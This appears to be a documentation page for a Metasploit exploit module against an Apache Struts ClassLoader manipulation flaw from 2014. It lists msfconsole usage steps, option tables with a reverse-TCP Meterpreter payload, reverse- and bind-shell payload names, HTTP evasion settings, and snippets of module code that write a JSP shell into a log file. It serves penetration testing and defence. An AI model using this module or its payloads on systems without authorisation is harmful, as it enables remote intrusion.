Apache Struts ClassLoader Manipulation Remote Code Execution - Metasploit
This page contains detailed information about how to use the exploit/multi/http/struts_code_exec_classloader metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Apache Struts ClassLoader Manipulation Remote Code Execution
Module: exploit/multi/http/struts_code_exec_classloader
Source code: modules/exploits/multi/http/struts_code_exec_classloader.rb
Disclosure date: 2014-03-06
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Linux, Windows
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2014-0094, CVE-2014-0112, CVE-2014-0114
This module exploits a remote command execution vulnerability in Apache Struts versions 1.x (<= 1.3.10) and 2.x (< 2.3.16.2). In Struts 1.x the problem is related with the ActionForm bean population mechanism while in case of Struts 2.x the vulnerability is due to the ParametersInterceptor. Both allow access to 'class' parameter that is directly mapped to getClass() method and allows ClassLoader manipulation. As a result, this can allow remote attackers to execute arbitrary Java code via crafted parameters.
Module Ranking and Traits
Module Ranking:
- manual: The exploit is unstable or difficult to exploit and is basically a DoS. This ranking is also used when the module has no use unless specifically configured by the user (e.g.: exploit/windows/smb/psexec). More information about ranking can be found here.
Basic Usage
msf > use exploit/multi/http/struts_code_exec_classloader
msf exploit(struts_code_exec_classloader) > show targets
... a list of targets ...
msf exploit(struts_code_exec_classloader) > set TARGET target-id
msf exploit(struts_code_exec_classloader) > show options
... show and set options ...
msf exploit(struts_code_exec_classloader) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the multi/http/struts_code_exec_classloader exploit module looks in the msfconsole:
msf6 > use exploit/multi/http/struts_code_exec_classloader
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/http/struts_code_exec_classloader) > show info
Name: Apache Struts ClassLoader Manipulation Remote Code Execution
Module: exploit/multi/http/struts_code_exec_classloader
Platform: Linux, Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Manual
Disclosed: 2014-03-06
Provided by:
Mark Thomas
Przemyslaw Celej
Redsadic <[email protected]>
Matthew Hall <[email protected]>
Available targets:
Id Name
-- ----
0 Java
1 Linux
2 Windows
3 Windows / Tomcat 6 & 7 and GlassFish 4 (Remote SMB Resource)
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8080 yes The target port (TCP)
SMB_DELAY 10 yes Time that the SMB Server will wait for the payload request
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 445 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
STRUTS_VERSION 2.x yes Apache Struts Framework version (Accepted: 1.x, 2.x)
TARGETURI /struts2-blank/example/HelloWorld.action yes The path to a struts application action
VHOST no HTTP server virtual host
Payload information:
Space: 5000
Description:
This module exploits a remote command execution vulnerability in
Apache Struts versions 1.x (<= 1.3.10) and 2.x (< 2.3.16.2). In
Struts 1.x the problem is related with the ActionForm bean
population mechanism while in case of Struts 2.x the vulnerability
is due to the ParametersInterceptor. Both allow access to 'class'
parameter that is directly mapped to getClass() method and allows
ClassLoader manipulation. As a result, this can allow remote
attackers to execute arbitrary Java code via crafted parameters.
References:
https://nvd.nist.gov/vuln/detail/CVE-2014-0094
https://nvd.nist.gov/vuln/detail/CVE-2014-0112
https://nvd.nist.gov/vuln/detail/CVE-2014-0114
http://www.pwntester.com/blog/2014/04/24/struts2-0day-in-the-wild/
http://struts.apache.org/release/2.3.x/docs/s2-020.html
http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Update-your-Struts-1-ClassLoader-manipulation-filters/ba-p/6639204
https://github.com/rgielen/struts1filter/tree/develop
Module Options
This is a complete list of options available in the multi/http/struts_code_exec_classloader exploit:
msf6 exploit(multi/http/struts_code_exec_classloader) > show options
Module options (exploit/multi/http/struts_code_exec_classloader):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8080 yes The target port (TCP)
SMB_DELAY 10 yes Time that the SMB Server will wait for the payload request
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 445 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
STRUTS_VERSION 2.x yes Apache Struts Framework version (Accepted: 1.x, 2.x)
TARGETURI /struts2-blank/example/HelloWorld.action yes The path to a struts application action
VHOST no HTTP server virtual host
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Linux
Advanced Options
Here is a complete list of advanced options supported by the multi/http/struts_code_exec_classloader exploit:
msf6 exploit(multi/http/struts_code_exec_classloader) > show advanced
Module advanced options (exploit/multi/http/struts_code_exec_classloader):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SMBServerIdleTimeout 120 yes The maximum amount of time to keep an idle session open in seconds
SMBServerMaximumBuffer 2 yes The maximum number of data in megabytes to buffer
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/http/struts_code_exec_classloader module can exploit:
msf6 exploit(multi/http/struts_code_exec_classloader) > show targets
Exploit targets:
Id Name
-- ----
0 Java
1 Linux
2 Windows
3 Windows / Tomcat 6 & 7 and GlassFish 4 (Remote SMB Resource)
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/struts_code_exec_classloader exploit:
msf6 exploit(multi/http/struts_code_exec_classloader) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/x86/chmod normal No Linux Chmod
6 payload/linux/x86/exec normal No Linux Execute Command
7 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
8 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
9 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
10 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
11 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
12 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
13 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
14 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
15 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
16 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
17 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
18 payload/linux/x86/read_file normal No Linux Read File
19 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
20 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
21 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
22 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
23 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
24 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
25 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
26 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
27 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
28 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
29 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
30 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
31 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
32 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the multi/http/struts_code_exec_classloader exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/http/struts_code_exec_classloader) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<PEER> - Not received response
Here is a relevant code snippet related to the "<PEER> - Not received response" error message:
153: # Now make a request to trigger payload
154: vprint_status("Countdown #{10-x}...")
155: res = dump_line(uri)
156:
157: # Failure. The request timed out or the server went away.
158: fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") if res.nil?
159:
160: # Success if the server has flushed all the sent commands to the jsp file
161: if res.code == 200 && res.body && res.body.to_s =~ /#{hint}/
162: print_good("Log file flushed at http://#{peer}/#{@jsp_file}")
163: return true
<PEER> - No answer
Here is a relevant code snippet related to the "<PEER> - No answer" error message:
258: :suffix => '.jsp',
259: :file_date_format => date_format
260: }
261: res = modify_class_loader(properties)
262: unless res
263: fail_with(Failure::TimeoutExpired, "#{peer} - No answer")
264: end
265:
266: # Check if the log file exists and has been flushed
267:
268: unless check_log_file(normalize_uri(target_uri.to_s))
<PEER> - The log file hasn't been flushed
Here is a relevant code snippet related to the "<PEER> - The log file hasn't been flushed" error message:
264: end
265:
266: # Check if the log file exists and has been flushed
267:
268: unless check_log_file(normalize_uri(target_uri.to_s))
269: fail_with(Failure::Unknown, "#{peer} - The log file hasn't been flushed")
270: end
271:
272: register_files_for_cleanup(@jsp_file)
273:
274: # Prepare the JSP
<PEER> - Missed answer while dumping JSP to logfile...
Here is a relevant code snippet related to the "<PEER> - Missed answer while dumping JSP to logfile..." error message:
281:
282: uri = normalize_uri('/', random_request)
283:
284: jsp.each_line do |l|
285: unless dump_line(uri, l.chomp)
286: fail_with(Failure::Unknown, "#{peer} - Missed answer while dumping JSP to logfile...")
287: end
288: end
289:
290: # Check log file... enjoy shell!
291: check_log_file(random_request)
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #11330 Merged Pull Request: Fix HTTP/SMB mixin order to restore SSL option
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6526 Merged Pull Request: Peers for the peer god
- #5371 Merged Pull Request: Fix #4667 Add file checking to the on_new_session cleanup
- #4890 Merged Pull Request: Add improvements for docBase exploitation vector
- #4708 Merged Pull Request: Change HTTP requests to succeed when going through HTTP proxies
- #4683 Merged Pull Request: Add Struts 1 support for Apache Struts ClassLoader manipulation vulnerability
- #3777 Merged Pull Request: Fix struts_code_exec_classloader on windows
- #3337 Merged Pull Request: Fixup release
- #3331 Merged Pull Request: Fix typo
References
- CVE-2014-0094
- CVE-2014-0112
- CVE-2014-0114
- http://www.pwntester.com/blog/2014/04/24/struts2-0day-in-the-wild/
- http://struts.apache.org/release/2.3.x/docs/s2-020.html
- http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Update-your-Struts-1-ClassLoader-manipulation-filters/ba-p/6639204
- https://github.com/rgielen/struts1filter/tree/develop
See Also
Check also the following modules related to this module:
- exploit/multi/http/struts_code_exec
- exploit/multi/http/struts_code_exec_exception_delegator
- exploit/multi/http/struts_code_exec_parameters
- exploit/multi/http/struts_default_action_mapper
- exploit/multi/http/struts_dev_mode
- exploit/multi/http/struts_dmi_exec
- exploit/multi/http/struts_dmi_rest_exec
- exploit/multi/http/struts_include_params
- exploit/multi/http/struts2_code_exec_showcase
- exploit/multi/http/struts2_content_type_ognl
- exploit/multi/http/struts2_multi_eval_ognl
- exploit/multi/http/struts2_namespace_ognl
- exploit/multi/http/struts2_rest_xstream
- exploit/multi/http/eaton_nsm_code_exec
- exploit/multi/http/getsimplecms_unauth_code_exec
- exploit/multi/http/nostromo_code_exec
- exploit/multi/http/oscommerce_installer_unauth_code_exec
- exploit/multi/http/rails_dynamic_render_code_exec
- exploit/multi/http/rails_json_yaml_code_exec
- exploit/multi/http/rails_web_console_v2_code_exec
- exploit/multi/http/rails_xml_yaml_code_exec
- exploit/multi/fileformat/nodejs_js_yaml_load_code_exec
- exploit/multi/php/wp_duplicator_code_inject
Related Nessus plugins:
- Apache ActiveMQ 5.x < 5.15.5 Multiple Vulnerabilities
- Apache Struts 2.x < 2.3.16.2 Multiple Vulnerabilities (S2-020)
- Apache Struts 2.x < 2.3.20 Multiple ClassLoader Manipulation Vulnerabilities (S2-021)
- IBM WebSphere Application Server 7.0.0.x <= 7.0.0.45 / 8.0.0.x <= 8.0.0.15 / 8.5.x < 8.5.5.14 / 9.0.x <= 9.0.0.9 Multiple Vulnerabilities (711865)
- Apache Struts 2 'class' Parameter ClassLoader Manipulation
- Apache Struts 2 ClassLoader Manipulation Incomplete Fix for Security Bypass
- RHEL 5 : struts (RHSA-2014:0474)
- Scientific Linux Security Update : struts on SL5.x i386/x86_64 (20140507)
- Apache Struts ClassLoader Manipulation
- CentOS 5 : struts (CESA-2014:0474)
Authors
- Mark Thomas
- Przemyslaw Celej
- Redsadic <julian.vilas[at]gmail.com>
- Matthew Hall <hallm[at]sec-1.com>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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